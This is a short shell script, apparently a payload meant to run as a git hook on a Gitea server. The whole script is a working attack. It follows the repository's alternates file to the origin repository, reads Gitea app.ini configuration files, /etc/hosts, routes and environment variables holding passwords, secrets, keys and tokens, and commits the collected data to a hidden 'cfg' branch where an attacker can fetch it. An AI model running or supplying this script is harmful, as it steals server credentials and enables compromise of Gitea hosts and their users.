#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_obj=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_obj" in /*) ;; *) origin_obj="$git_dir/objects/$origin_obj" ;; esac
origin_git=${origin_obj%/objects}
[ "$origin_git" != "$origin_obj" ] || exit 3
out=$(
  echo "==APP.INI=="; cat /data/gitea/conf/app.ini /etc/gitea/app.ini /var/lib/gitea/custom/conf/app.ini /opt/gitea/custom/conf/app.ini 2>/dev/null;
  echo "==HOSTS=="; cat /etc/hosts;
  echo "==ROUTE=="; ip route 2>/dev/null;
  echo "==ENV=="; env | grep -i "db\|pass\|secret\|key\|token" 2>/dev/null;
) 2>&1
blob=$(echo "$out" | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
tree=$(printf "100644 blob %s\tcfg\n" "$blob" | git --git-dir="$origin_git" mktree) || exit 5
commit=$(printf "cfg\n" | GIT_AUTHOR_NAME=x GIT_AUTHOR_EMAIL=x@x GIT_COMMITTER_NAME=x GIT_COMMITTER_EMAIL=x@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
git --git-dir="$origin_git" update-ref refs/heads/cfg "$commit"